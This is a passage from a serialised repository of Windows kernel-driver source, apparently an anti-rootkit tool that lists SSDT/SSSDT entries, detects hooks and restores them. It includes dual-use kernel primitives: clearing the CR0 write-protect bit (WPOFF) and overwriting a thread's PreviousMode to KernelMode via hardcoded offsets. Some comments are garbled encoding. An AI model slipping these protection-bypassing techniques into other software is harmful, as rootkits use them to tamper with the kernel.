IOCTL_RESUME_SSDT_INLINEHOOK\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x851, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n//Դսṹ\r\ntypedef struct _DATA_ \r\n{\r\n\tULONG ulIndex;\r\n\tUCHAR szOriginalFunctionCode[CODE_LENGTH];\r\n}Data0,*pData0;\r\n\r\n//ԭַ\r\ntypedef struct _DATA2_\r\n{\r\n\tULONG_PTR OriginalFunctionAddress;\r\n}Data2,*pData2;\r\ntypedef struct _DATA1_\r\n{\r\n\tULONG Index;\r\n\tULONG_PTR OriginalAddress;\r\n}Data1,*pData1;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVOID\r\n\tUnloadDriver(PDRIVER_OBJECT DriverObject);\r\nNTSTATUS\r\n\tControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp);\r\nNTSTATUS\r\n\tDefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp);\r\n\r\n#endif\t" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSSDTManager.sln", "content": "Microsoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"SSSDTManager\", \"SSSDTManager.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSSDTManager.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"SSSDTManager\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSSDTManager.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n 主\r\n \r\n \r\n 主\r\n \r\n \r\n GetService\r\n \r\n \r\n SSSDT\r\n \r\n \r\n SSDT\r\n \r\n \r\n \r\n \r\n \r\n SSDT\r\n \r\n \r\n SSSDT\r\n \r\n \r\n GetService\r\n \r\n \r\n \r\n \r\n \r\n {9c8c8498-bbb4-4a13-81b2-f0eea18e93d8}\r\n \r\n \r\n {4171004b-fcfa-4f02-8b85-aad1ddeb3e8a}\r\n \r\n \r\n {73acb7ea-0cf4-4cca-91d3-007a3881e8f4}\r\n \r\n \r\n {b133cbb0-9897-4b1f-b44c-a8121be3745c}\r\n \r\n \r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/common.c", "content": "#include \"common.h\"\r\n\r\n\r\nextern WIN_VERSION WinVersion;\r\nextern KIRQL Irql;\r\nVOID WPOFF()\r\n{\r\n\tULONG_PTR cr0 = 0;\r\n\tIrql = KeRaiseIrqlToDpcLevel();\r\n\tcr0 =__readcr0();\r\n\tcr0 &= 0xfffffffffffeffff;\r\n\t__writecr0(cr0);\r\n#ifdef _WIN64\r\n _disable();\r\n#endif\r\n}\r\n\r\nVOID WPON()\r\n{\r\n\tULONG_PTR cr0=__readcr0();\r\n\tcr0 |= 0x10000;\r\n#ifdef _WIN64\r\n _enable();\r\n#endif\r\n\t__writecr0(cr0);\r\n\tKeLowerIrql(Irql);\r\n}\r\n\r\nWIN_VERSION GetWindowsVersion()\r\n{\r\n RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; \r\n pfnRtlGetVersion RtlGetVersion = NULL;\r\n WIN_VERSION WinVersion;\r\n WCHAR szRtlGetVersion[] = L\"RtlGetVersion\";\r\n\r\n RtlGetVersion = (pfnRtlGetVersion)GetFunctionAddressByName(szRtlGetVersion); \r\n\r\n if (RtlGetVersion)\r\n {\r\n RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); \r\n } \r\n else \r\n {\r\n PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL);\r\n }\r\n\r\n //x64λ֧\r\n if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7600)\r\n {\r\n DbgPrint(\"WINDOWS 7\\r\\n\");\r\n WinVersion = WINDOWS_7_7600;\r\n }\r\n else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7601)\r\n {\r\n DbgPrint(\"WINDOWS 7\\r\\n\");\r\n WinVersion = WINDOWS_7_7601;\r\n }\r\n else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 2 && osverInfo.dwBuildNumber == 9200)\r\n {\r\n DbgPrint(\"WINDOWS 8\\r\\n\");\r\n WinVersion = WINDOWS_8_9200;\r\n }\r\n else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 3 && osverInfo.dwBuildNumber == 9600)\r\n {\r\n DbgPrint(\"WINDOWS 8.1\\r\\n\");\r\n WinVersion = WINDOWS_8_9600;\r\n }\r\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10240)\r\n {\r\n DbgPrint(\"WINDOWS 10 10240\\r\\n\");\r\n WinVersion = WINDOWS_10_10240;\r\n }\r\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10586)\r\n {\r\n DbgPrint(\"WINDOWS 10 10586\\r\\n\");\r\n WinVersion = WINDOWS_10_10586;\r\n }\r\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 14393)\r\n {\r\n DbgPrint(\"WINDOWS 10 14393\\r\\n\");\r\n WinVersion = WINDOWS_10_14393;\r\n }\r\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 15063)\r\n {\r\n DbgPrint(\"WINDOWS 10 15063\\r\\n\");\r\n WinVersion = WINDOWS_10_15063;\r\n }\r\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 16299)\r\n {\r\n DbgPrint(\"WINDOWS 10 16299\\r\\n\");\r\n WinVersion = WINDOWS_10_16299;\r\n }\r\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 17134)\r\n {\r\n DbgPrint(\"WINDOWS 10 17134\\r\\n\");\r\n WinVersion = WINDOWS_10_17134;\r\n }\r\n else\r\n {\r\n DbgPrint(\"This is a new os\\r\\n\");\r\n WinVersion = WINDOWS_UNKNOW;\r\n }\r\n\r\n return WinVersion;\r\n}\r\n\r\n\r\n\r\nPVOID \r\n\tGetFunctionAddressByName(WCHAR *wzFunction)\r\n{\r\n\tUNICODE_STRING uniFunction; \r\n\tPVOID AddrBase = NULL;\r\n\r\n\tif (wzFunction && wcslen(wzFunction) > 0)\r\n\t{\r\n\t\tRtlInitUnicodeString(&uniFunction, wzFunction); //ָ\r\n\t\tAddrBase = MmGetSystemRoutineAddress(&uniFunction); //System һģ Ntosknrl.exe ExportTable\r\n\t}\r\n\r\n\treturn AddrBase;\r\n}\r\n\r\nBOOLEAN SafeCopyMemory(PVOID DestiAddress, PVOID SourAddress, SIZE_T SizeOfCopy)\r\n{\r\n\r\n\tPMDL Mdl = NULL;\r\n\tPVOID SafeAddress = NULL;\r\n\tif(!MmIsAddressValid(DestiAddress) ||\r\n\t\t!MmIsAddressValid(SourAddress) )\r\n\t\treturn FALSE;\r\n\r\n\tMdl = IoAllocateMdl(SourAddress, (ULONG)SizeOfCopy, FALSE, FALSE, NULL);\r\n\tif(!Mdl) \r\n\t{\r\n\t\treturn FALSE;\r\n\t}\r\n\t__try\r\n\t{\r\n\t\tMmProbeAndLockPages(Mdl, KernelMode, IoReadAccess );\r\n\t}\r\n\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t{\r\n\t\tIoFreeMdl(Mdl);\r\n\t\treturn FALSE;\r\n\t}\r\n\tSafeAddress = MmGetSystemAddressForMdlSafe(Mdl,NormalPagePriority );\r\n\t//ڴҳʽpage outȥ\r\n\tif(!SafeAddress)\r\n\t{\r\n\t\treturn FALSE;\r\n\t}\r\n\tRtlCopyMemory(DestiAddress,SafeAddress,SizeOfCopy );\r\n\tMmUnlockPages(Mdl);\r\n\tIoFreeMdl(Mdl);\r\n\treturn TRUE;\r\n}" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/common.h", "content": "#pragma once\r\n#include \"SSSDTManager.h\"\r\n\r\n\r\ntypedef struct _SYSTEM_SERVICE_TABLE64{\r\n\tPVOID \t\tServiceTableBase; \r\n\tPVOID \t\tServiceCounterTableBase; \r\n\tULONG64 \tNumberOfServices; \r\n\tPVOID \t\tParamTableBase; \r\n} SYSTEM_SERVICE_TABLE64, *PSYSTEM_SERVICE_TABLE64;\r\n\r\ntypedef struct _SYSTEM_SERVICE_TABLE32 {\r\n\tPVOID ServiceTableBase;\r\n\tPVOID ServiceCounterTableBase;\r\n\tULONG32 NumberOfServices;\r\n\tPVOID ParamTableBase;\r\n} SYSTEM_SERVICE_TABLE32, *PSYSTEM_SERVICE_TABLE32;\r\n\r\nVOID WPOFF();\r\nVOID WPON();\r\n\r\n\r\n\r\n//ȡ汾Ϣ\r\ntypedef enum WIN_VERSION {\r\n WINDOWS_XP,\r\n WINDOWS_7_7600,\r\n WINDOWS_7_7601,\r\n WINDOWS_8_9200,\r\n WINDOWS_8_9600,\r\n WINDOWS_10_10240,\r\n WINDOWS_10_10586,\r\n WINDOWS_10_14393,\r\n WINDOWS_10_15063,\r\n WINDOWS_10_16299,\r\n WINDOWS_10_17134,\r\n WINDOWS_UNKNOW\r\n} WIN_VERSION;\r\n\r\n//Windows汾Ϣ\r\nWIN_VERSION GetWindowsVersion();\r\nPVOID \r\n\tGetFunctionAddressByName(WCHAR *wzFunction);\r\ntypedef \r\n\tNTSTATUS \r\n\t(*pfnRtlGetVersion)(OUT PRTL_OSVERSIONINFOW lpVersionInformation);\r\n\r\nBOOLEAN SafeCopyMemory(PVOID DestiAddress, PVOID SourAddress, SIZE_T SizeOfCopy);\r\n\r\n\r\ntypedef struct _KLDR_DATA_TABLE_ENTRY64 {\r\n\tLIST_ENTRY64 InLoadOrderLinks;\r\n\tULONG64 __Undefined1;\r\n\tULONG64 __Undefined2;\r\n\tULONG64 __Undefined3;\r\n\tULONG64 NonPagedDebugInfo;\r\n\tULONG64 DllBase;\r\n\tULONG64 EntryPoint;\r\n\tULONG SizeOfImage;\r\n\tUNICODE_STRING64 FullDllName;\r\n\tUNICODE_STRING64 BaseDllName;\r\n\tULONG Flags;\r\n\tUSHORT LoadCount;\r\n\tUSHORT __Undefined5;\r\n\tULONG64 __Undefined6;\r\n\tULONG CheckSum;\r\n\tULONG __padding1;\r\n\tULONG TimeDateStamp;\r\n\tULONG __padding2;\r\n} KLDR_DATA_TABLE_ENTRY64, *PKLDR_DATA_TABLE_ENTRY64;\r\n\r\ntypedef struct _KLDR_DATA_TABLE_ENTRY32 {\r\n\tLIST_ENTRY32 InLoadOrderLinks;\r\n\tULONG __Undefined1;\r\n\tULONG __Undefined2;\r\n\tULONG __Undefined3;\r\n\tULONG NonPagedDebugInfo;\r\n\tULONG DllBase;\r\n\tULONG EntryPoint;\r\n\tULONG SizeOfImage;\r\n\tUNICODE_STRING32 FullDllName;\r\n\tUNICODE_STRING32 BaseDllName;\r\n\tULONG Flags;\r\n\tUSHORT LoadCount;\r\n\tUSHORT __Undefined5;\r\n\tULONG __Undefined6;\r\n\tULONG CheckSum;\r\n\tULONG TimeDateStamp;\r\n} KLDR_DATA_TABLE_ENTRY32, *PKLDR_DATA_TABLE_ENTRY32;\r\n\r\n\r\n\r\n\r\n\r\n//LDR\r\ntypedef struct _LDR_DATA_TABLE_ENTRY32 {\r\n\tLIST_ENTRY32 InLoadOrderLinks;\r\n\tLIST_ENTRY32 InMemoryOrderLinks;\r\n\tLIST_ENTRY32 InInitializationOrderLinks;\r\n\tULONG DllBase;\r\n\tULONG EntryPoint;\r\n\tULONG SizeOfImage;\r\n\tUNICODE_STRING32 FullDllName;\r\n\tUNICODE_STRING32 BaseDllName;\r\n\tULONG Flags;\r\n\tUSHORT LoadCount;\r\n\tUSHORT TlsIndex;\r\n\tunion {\r\n\t\tLIST_ENTRY32 HashLinks;\r\n\t\tstruct {\r\n\t\t\tULONG SectionPointer;\r\n\t\t\tULONG CheckSum;\r\n\t\t};\r\n\t};\r\n\tunion {\r\n\t\tstruct {\r\n\t\t\tULONG TimeDateStamp;\r\n\t\t};\r\n\t\tstruct {\r\n\t\t\tULONG LoadedImports;\r\n\t\t};\r\n\t};\r\n\r\n\r\n\r\n} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY64 {\r\n\tLIST_ENTRY64 InLoadOrderLinks;\r\n\tLIST_ENTRY64 InMemoryOrderLinks;\r\n\tLIST_ENTRY64 InInitializationOrderLinks;\r\n\tULONG64 DllBase;\r\n\tULONG64 EntryPoint;\r\n\tULONG SizeOfImage;\r\n\tUNICODE_STRING64 FullDllName;\r\n\tUNICODE_STRING64 BaseDllName;\r\n\tULONG Flags;\r\n\tUSHORT LoadCount;\r\n\tUSHORT TlsIndex;\r\n\tunion {\r\n\t\tLIST_ENTRY64 HashLinks;\r\n\t\tstruct {\r\n\t\t\tULONG64 SectionPointer;\r\n\t\t\tULONG CheckSum;\r\n\t\t};\r\n\t};\r\n\tunion {\r\n\t\tstruct {\r\n\t\t\tULONG TimeDateStamp;\r\n\t\t};\r\n\t\tstruct {\r\n\t\t\tULONG64 LoadedImports;\r\n\t\t};\r\n\t};\r\n\r\n\r\n\r\n} LDR_DATA_TABLE_ENTRY64, *PLDR_DATA_TABLE_ENTRY64;\r\n\r\n#ifdef _WIN64\r\n#define PKLDR_DATA_TABLE_ENTRY PKLDR_DATA_TABLE_ENTRY64\r\n#define PLDR_DATA_TABLE_ENTRY PLDR_DATA_TABLE_ENTRY64\r\n#else\r\n#define PKLDR_DATA_TABLE_ENTRY PKLDR_DATA_TABLE_ENTRY32\r\n#define PLDR_DATA_TABLE_ENTRY PLDR_DATA_TABLE_ENTRY32\r\n#endif\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/sources", "content": "TARGETNAME=SSSDTManager\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES= \\\r\n SSSDTManager.c \\\r\n GetService.c \\\r\n SSDT.c \\\r\n SSSDT.c \\\r\n common.c\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/ReadMe.txt", "content": "1.send Io Control Code to Ring0 to get SSDT&SSSDT Information\ninclude:functionIndex/Function Name/Current Address/Original Address/Is Hooked/the module belong\ninclude:reload ntoskrnl.exe(SSDT)/win32k.sys(SSSDT) to compare\n\n2.if current Address is not compare to Original Address means the function is SSDT Hook\n if the code is not compare to the code in ntoskrnl.exe/win32k.sys in the first 32 bytes in the function,it is Inline Hook\n \n3.Resume SSDT Hook/Inline Hook\n" }, { "path": "ZwQueryVirtualMemory/Common.c", "content": "#include \"Common.h\"\n\n\nULONG_PTR ObjectTableOffsetOf_EPROCESS = 0;\nULONG_PTR PreviousModeOffsetOf_KTHREAD = 0;\nULONG_PTR IndexOffsetOfFunction = 0;\nULONG_PTR SSDTDescriptor = 0;\n\nULONG_PTR HighUserAddress = 0;\n\nWIN_VERSION WinVersion = WINDOWS_UNKNOW;\nULONG_PTR LdrInPebOffset = 0;\nULONG_PTR ModListInLdrOffset = 0;\nULONG_PTR ObjectHeaderSize = 0;\nULONG_PTR ObjectTypeOffsetOf_Object_Header =0;\n\n\n\nWIN_VERSION GetWindowsVersion()\n{\n RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; \n pfnRtlGetVersion RtlGetVersion = NULL;\n WIN_VERSION WinVersion;\n WCHAR szRtlGetVersion[] = L\"RtlGetVersion\";\n\n RtlGetVersion = (pfnRtlGetVersion)GetFunctionAddressByName(szRtlGetVersion); \n\n if (RtlGetVersion)\n {\n RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); \n } \n else \n {\n PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL);\n }\n\n if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7600)\n {\n DbgPrint(\"WINDOWS 7\\r\\n\");\n WinVersion = WINDOWS_7_7600;\n }\n else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7601)\n {\n DbgPrint(\"WINDOWS 7\\r\\n\");\n WinVersion = WINDOWS_7_7601;\n }\n else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 2 && osverInfo.dwBuildNumber == 9200)\n {\n DbgPrint(\"WINDOWS 8\\r\\n\");\n WinVersion = WINDOWS_8_9200;\n }\n else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 3 && osverInfo.dwBuildNumber == 9600)\n {\n DbgPrint(\"WINDOWS 8.1\\r\\n\");\n WinVersion = WINDOWS_8_9600;\n }\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10240)\n {\n DbgPrint(\"WINDOWS 10 10240\\r\\n\");\n WinVersion = WINDOWS_10_10240;\n }\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10586)\n {\n DbgPrint(\"WINDOWS 10 10586\\r\\n\");\n WinVersion = WINDOWS_10_10586;\n }\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 14393)\n {\n DbgPrint(\"WINDOWS 10 14393\\r\\n\");\n WinVersion = WINDOWS_10_14393;\n }\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 15063)\n {\n DbgPrint(\"WINDOWS 10 15063\\r\\n\");\n WinVersion = WINDOWS_10_15063;\n }\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 16299)\n {\n DbgPrint(\"WINDOWS 10 16299\\r\\n\");\n WinVersion = WINDOWS_10_16299;\n }\n else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 17134)\n {\n DbgPrint(\"WINDOWS 10 17134\\r\\n\");\n WinVersion = WINDOWS_10_17134;\n }\n else\n {\n DbgPrint(\"This is a new os\\r\\n\");\n WinVersion = WINDOWS_UNKNOW;\n }\n\n return WinVersion;\n}\n\n\n\nPVOID \n GetFunctionAddressByName(WCHAR *wzFunction)\n{\n UNICODE_STRING uniFunction; \n PVOID AddrBase = NULL;\n if (wzFunction && wcslen(wzFunction) > 0)\n {\n RtlInitUnicodeString(&uniFunction, wzFunction); //常量指针\n AddrBase = MmGetSystemRoutineAddress(&uniFunction); //在System 进程 第一个模块 Ntosknrl.exe ExportTable\n }\n return AddrBase;\n}\n\n\nVOID InitGlobalVariable()\n{\n WinVersion = GetWindowsVersion();\n switch(WinVersion)\n {\n#ifdef _WIN32\n case WINDOWS_XP:\n {\n ObjectHeaderSize = 0x18;\n ObjectTypeOffsetOf_Object_Header = 0x8;\n LdrInPebOffset = 0x00c;\n ModListInLdrOffset = 0x00c;\n ObjectHeaderSize = 0x18;\n ObjectTableOffsetOf_EPROCESS = 0x0c4;\n PreviousModeOffsetOf_KTHREAD = 0x140;\n HighUserAddress = 0x80000000;\n\n break;\n }\n#else\n case WINDOWS_7_7601:\n {\n LdrInPebOffset = 0x018;\n ModListInLdrOffset = 0x010;\n ObjectTableOffsetOf_EPROCESS = 0x200;\n PreviousModeOffsetOf_KTHREAD = 0x1f6;\n HighUserAddress = 0x80000000000;\n break;\n }\n#endif\n default:\n return;\n }\n}\n\n\n\nBOOLEAN IsRealProcess(PEPROCESS EProcess) \n{ \n ULONG_PTR ObjectType; \n ULONG_PTR ObjectTypeAddress; \n BOOLEAN bRet = FALSE;\n\n ULONG_PTR ProcessType = ((ULONG_PTR)*PsProcessType);\n\n if (ProcessType && EProcess && MmIsAddressValid((PVOID)(EProcess)))\n { \n ObjectType = KeGetObjectType((PVOID)EProcess); //*PsProcessType \n if (ObjectType && \n ProcessType == ObjectType &&\n !IsProcessDie(EProcess)) \n {\n bRet = TRUE; \n }\n } \n\n return bRet; \n} \n\n\n\nULONG_PTR KeGetObjectType(PVOID Object)\n{\n ULONG_PTR ObjectType = 0;\n pfnObGetObjectType ObGetObjectType = NULL; \n\n if (NULL == MmIsAddressValid ||!Object||!MmIsAddressValid(Object))\n {\n return 0;\n }\n\n if (WinVersion==WINDOWS_XP)\n {\n ULONG SizeOfObjectHeader = 0, ObjectTypeOffset = 0;\n ULONG_PTR ObjectTypeAddress = 0;\n\n ObjectTypeAddress = (ULONG_PTR)Object - ObjectHeaderSize + ObjectTypeOffsetOf_Object_Header;\n\n if (MmIsAddressValid((PVOID)ObjectTypeAddress))\n { \n ObjectType = *(ULONG_PTR*)ObjectTypeAddress;\n }\n }\n else \n {\n //高版本使用函数\n\n ObGetObjectType = (pfnObGetObjectType)GetFunctionAddressByName(L\"ObGetObjectType\");\n\n\n if (ObGetObjectType)\n {\n ObjectType = ObGetObjectType(Object);\n }\n }\n\n return ObjectType;\n}\n\nBOOLEAN IsProcessDie(PEPROCESS EProcess)\n{\n BOOLEAN bDie = FALSE;\n\n if (MmIsAddressValid &&\n EProcess && \n MmIsAddressValid(EProcess) &&\n MmIsAddressValid((PVOID)((ULONG_PTR)EProcess + ObjectTableOffsetOf_EPROCESS)))\n {\n PVOID ObjectTable = *(PVOID*)((ULONG_PTR)EProcess + ObjectTableOffsetOf_EPROCESS );\n\n if (!ObjectTable||!MmIsAddressValid(ObjectTable) )\n {\n DbgPrint(\"Process is Die\\r\\n\");\n bDie = TRUE;\n }\n }\n else\n {\n DbgPrint(\"Process is Die2\\r\\n\");\n bDie = TRUE;\n }\n return bDie;\n}\n\n\n\n\nCHAR ChangePreMode(PETHREAD EThread)\n{\n\n CHAR PreMode = *(PCHAR)((ULONG_PTR)EThread + PreviousModeOffsetOf_KTHREAD);\n *(PCHAR)((ULONG_PTR)EThread + PreviousModeOffsetOf_KTHREAD) = KernelMode;\n return PreMode;\n}\n\nVOID RecoverPreMode(PETHREAD EThread, CHAR PreMode)\n{\n *(PCHAR)((ULONG_PTR)EThread + PreviousModeOffsetOf_KTHREAD) = PreMode;\n}\n\n\n\nBOOLEAN NtPathToDosPathW(WCHAR* wzFullNtPath,WCHAR* wzFullDosPath)\n{\n WCHAR wzDosDevice[4] = {0};\n WCHAR wzNtDevice[64] = {0};\n WCHAR *RetStr = NULL;\n size_t NtDeviceLen = 0;\n short i = 0;\n if(!wzFullNtPath||!wzFullDosPath)\n {\n return FALSE;\n }\n for(i=65;i<26+65;i++)\n {\n wzDosDevice[0] = i;\n wzDosDevice[1] = L':';\n if(NtQueryDosDevice(wzDosDevice,wzNtDevice,64))\n {\n if(wzNtDevice)\n {\n NtDeviceLen = wcslen(wzNtDevice);\n if(!_wcsnicmp(wzNtDevice,wzFullNtPath,NtDeviceLen))\n {\n wcscpy(wzFullDosPath,wzDosDevice);\n wcscat(wzFullDosPath,wzFullNtPath+NtDeviceLen);\n return TRUE;\n }\n }\n }\n }\n\n return FALSE;\n}\n\nULONG\n NtQueryDosDevice(WCHAR* wzDosDevice,WCHAR* wzNtDevice,\n ULONG ucchMax)\n{\n NTSTATUS Status;\n POBJECT_DIRECTORY_INFORMATION ObjectDirectoryInfor;\n OBJECT_ATTRIBUTES oa;\n UNICODE_STRING uniString;\n HANDLE hDirectory;\n HANDLE hDevice;\n ULONG ulReturnLength;\n ULONG ulNameLength;\n ULONG ulLength;\n ULONG Context;\n BOOLEAN bRestartScan;\n WCHAR* Ptr = NULL;\n UCHAR szBuffer[512] = {0};\n RtlInitUnicodeString (&uniString,L\"\\\\??\");\n InitializeObjectAttributes(&oa,\n &uniString,\n OBJ_CASE_INSENSITIVE,\n NULL,\n NULL); \n Status = ZwOpenDirectoryObject(&hDirectory,DIRECTORY_QUERY,&oa);\n if(!NT_SUCCESS(Status))\n {\n return 0;\n }\n ulLength = 0;\n if (wzDosDevice != NULL)\n {\n RtlInitUnicodeString (&uniString,(PWSTR)wzDosDevice);\n InitializeObjectAttributes(&oa,&uniString,OBJ_CASE_INSENSITIVE,hDirectory,NULL);\n Status = ZwOpenSymbolicLinkObject(&hDevice,GENERIC_READ,&oa);\n if(!NT_SUCCESS (Status))\n {\n ZwClose(hDirectory);\n return 0;\n }\n uniString.Length = 0;\n uniString.MaximumLength = (USHORT)ucchMax * sizeof(WCHAR);\n uniString.Buffer = wzNtDevice;\n ulReturnLength = 0;\n Status = ZwQuerySymbolicLinkObject (hDevice,&uniString,&ulReturnLength);\n ZwClose(hDevice);\n ZwClose(hDirectory);\n if (!NT_SUCCESS (Status))\n {\n return 0;\n }\n ulLength = uniString.Length / sizeof(WCHAR);\n if (ulLength < ucchMax)\n {\n wzNtDevice[ulLength] = UNICODE_NULL;\n ulLength++;\n }\n else\n {\n return 0;\n }\n }\n else\n {\n bRestartScan = TRUE;\n Context = 0;\n Ptr = wzNtDevice;\n ObjectDirectoryInfor = (POBJECT_DIRECTORY_INFORMATION)szBuffer;\n while (TRUE)\n {\n Status = ZwQueryDirectoryObject(hDirectory,szBuffer,sizeof (szBuffer),TRUE,bRestartScan,&Context,&ulReturnLength);\n if(!NT_SUCCESS(Status))\n {\n if (Status == STATUS_NO_MORE_ENTRIES)\n {\n *Ptr = UNICODE_NULL;\n ulLength++;\n Status = STATUS_SUCCESS;\n }\n else\n {\n ulLength = 0;\n }\n break;\n }\n if (!wcscmp (ObjectDirectoryInfor->TypeName.Buffer, L\"SymbolicLink\"))\n {\n ulNameLength = ObjectDirectoryInfor->Name.Length / sizeof(WCHAR);\n if (ulLength + ulNameLength + 1 >= ucchMax)\n {\n ulLength = 0;\n break;\n }\n memcpy(Ptr,ObjectDirectoryInfor->Name.Buffer,ObjectDirectoryInfor->Name.Length);\n Ptr += ulNameLength;\n ulLength += ulNameLength;\n *Ptr = UNICODE_NULL;\n Ptr++;\n ulLength++;\n }\n bRestartScan = FALSE;\n }\n ZwClose(hDirectory);\n }\n return ulLength;\n}" }, { "path": "ZwQueryVirtualMemory/Common.h", "content": "#pragma once\n#include \"ZwQueryVirtualMemory.h\"\n\n\ntypedef enum WIN_VERSION {\n WINDOWS_XP,\n WINDOWS_7_7600,\n WINDOWS_7_7601,\n WINDOWS_8_9200,\n WINDOWS_8_9600,\n WINDOWS_10_10240,\n WINDOWS_10_10586,\n WINDOWS_10_14393,\n WINDOWS_10_15063,\n WINDOWS_10_16299,\n WINDOWS_10_17134,\n WINDOWS_UNKNOW\n} WIN_VERSION;\n\nWIN_VERSION GetWindowsVersion();\nPVOID \n GetFunctionAddressByName(WCHAR *wzFunction);\ntypedef \n NTSTATUS \n (*pfnRtlGetVersion)(OUT PRTL_OSVERSIONINFOW lpVersionInformation);\nULONG_PTR KeGetObjectType(PVOID Object);\ntypedef ULONG_PTR \n (*pfnObGetObjectType)(PVOID pObject);\nBOOLEAN IsProcessDie(PEPROCESS EProcess);\nULONG_PTR KeGetObjectType(PVOID Object);\nBOOLEAN IsRealProcess(PEPROCESS EProcess) ;\nCHAR ChangePreMode(PETHREAD EThread);\nVOID RecoverPreMode(PETHREAD EThread, CHAR PreMode);\nVOID InitGlobalVariable();//ʼһЩƫ\nBOOLEAN NtPathToDosPathW(WCHAR* wzFullNtPath,WCHAR* wzFullDosPath);\nextern\n NTSTATUS\n 